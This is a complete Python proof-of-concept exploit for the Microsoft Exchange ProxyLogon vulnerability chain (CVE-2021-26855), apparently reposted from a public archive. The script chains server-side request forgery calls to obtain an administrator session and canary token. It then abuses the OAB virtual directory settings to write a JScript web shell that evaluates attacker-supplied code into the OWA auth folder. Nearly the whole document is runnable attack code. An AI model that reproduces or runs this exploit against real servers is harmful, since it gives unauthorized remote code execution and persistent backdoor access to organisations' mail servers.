Microsoft Exchange Proxylogon SSRF Proof Of Concept

`# Original Author: testanull https://github.com/testanull https://twitter.com/testanull  
# PoC of proxylogon chain SSRF(CVE-2021-26855) to write file  
# Original "Archive" https://web.archive.org/web/20210310164403/https://gist.github.com/testanull/fabd8eeb46f120c4b15f8793617ca7d1  
  
import requests  
from urllib3.exceptions import InsecureRequestWarning  
import random  
import string  
import sys  
  
  
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):  
return ''.join(random.choice(chars) for _ in range(size))  
  
if len(sys.argv) < 2:  
print("Usage: python PoC.py <target> <email>")  
print("Example: python PoC.py mail.evil.corp [email protected]")  
exit()  
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)  
target = sys.argv[1]  
email = sys.argv[2]  
random_name = id_generator(3) + ".js"  
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"  
  
shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\ahihi.aspx"  
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path  
  
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["exec_code"],"unsafe");}</script>'  
legacyDnPatchByte = "68747470733a2f2f696d6775722e636f6d2f612f7a54646e5378670a0a0a0a0a0a0a0a"  
autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">  
<Request>  
<EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>  
</Request>  
</Autodiscover>  
""" % email  
  
print("Attacking target " + target)  
print("=============================")  
print(legacyDnPatchByte.decode('hex'))  
FQDN = "EXCHANGE"  
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",  
"User-Agent": user_agent},  
verify=False)  
if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:  
FQDN = ct.headers["X-FEServer"]  
  
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={  
"Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,  
"Content-Type": "text/xml",  
"User-Agent": user_agent},  
data=autoDiscoverBody,  
verify=False  
)  
if ct.status_code != 200:  
print("Autodiscover Error!")  
exit()  
if "<LegacyDN>" not in ct.content:  
print("Can not get LegacyDN!")  
exit()  
  
legacyDn = ct.content.split("<LegacyDN>")[1].split("</LegacyDN>")[0]  
print("Got DN: " + legacyDn)  
  
mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"  
  
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={  
"Cookie": "X-BEResource=Admin@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,  
"Content-Type": "application/mapi-http",  
"User-Agent": user_agent  
},  
data=mapi_body,  
verify=False  
)  
if ct.status_code != 200 or "act as owner of a UserMailbox" not in ct.content:  
print("Mapi Error!")  
exit()  
  
sid = ct.content.split("with SID ")[1].split(" and MasterAccountSid")[0]  
  
print("Got SID: " + sid)  
  
proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>  
""" % sid  
  
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={  
"Cookie": "X-BEResource=Admin@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,  
"Content-Type": "text/xml",  
"User-Agent": user_agent  
},  
data=proxyLogon_request,  
verify=False  
)  
if ct.status_code != 241 or not "set-cookie" in ct.headers:  
print("Proxylogon Error!")  
exit()  
  
sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]  
  
msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]  
print("Got session id: " + sess_id)  
print("Got canary: " + msExchEcpCanary)  
  
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={  
"Cookie": "X-BEResource=Admin@%s:444/ecp/about.aspx?a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (  
FQDN, sess_id, msExchEcpCanary),  
"User-Agent": user_agent  
},  
verify=False  
)  
if ct.status_code != 200:  
print("Wrong canary!")  
print("Sometime we can skip this ...")  
rbacRole = ct.content.split("RBAC roles:</span> <span class='diagTxt'>")[1].split("</span>")[0]  
# print "Got rbacRole: "+ rbacRole  
  
print("=========== It means good to go!!!====")  
  
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={  
"Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (  
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),  
"Content-Type": "application/json; charset=utf-8",  
"User-Agent": user_agent  
  
},  
json={"filter": {  
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",  
"SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},  
verify=False  
)  
if ct.status_code != 200:  
print("GetOAB Error!")  
exit()  
oabId = ct.content.split('"RawIdentity":"')[1].split('"')[0]  
print("Got OAB id: " + oabId)  
  
oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},  
"properties": {  
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",  
"ExternalUrl": "http://ffff/#%s" % shell_content}}}  
  
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={  
"Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (  
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),  
"Content-Type": "application/json; charset=utf-8",  
"User-Agent": user_agent  
},  
json=oab_json,  
verify=False  
)  
if ct.status_code != 200:  
print("Set external url Error!")  
exit()  
  
reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},  
"properties": {  
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",  
"FilePathName": shell_absolute_path}}}  
  
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={  
"Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (  
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),  
"Content-Type": "application/json; charset=utf-8",  
"User-Agent": user_agent  
},  
json=reset_oab_body,  
verify=False  
)  
  
if ct.status_code != 200:  
print("Write Shell Error!")  
exit()  
  
print("Successful!")  
`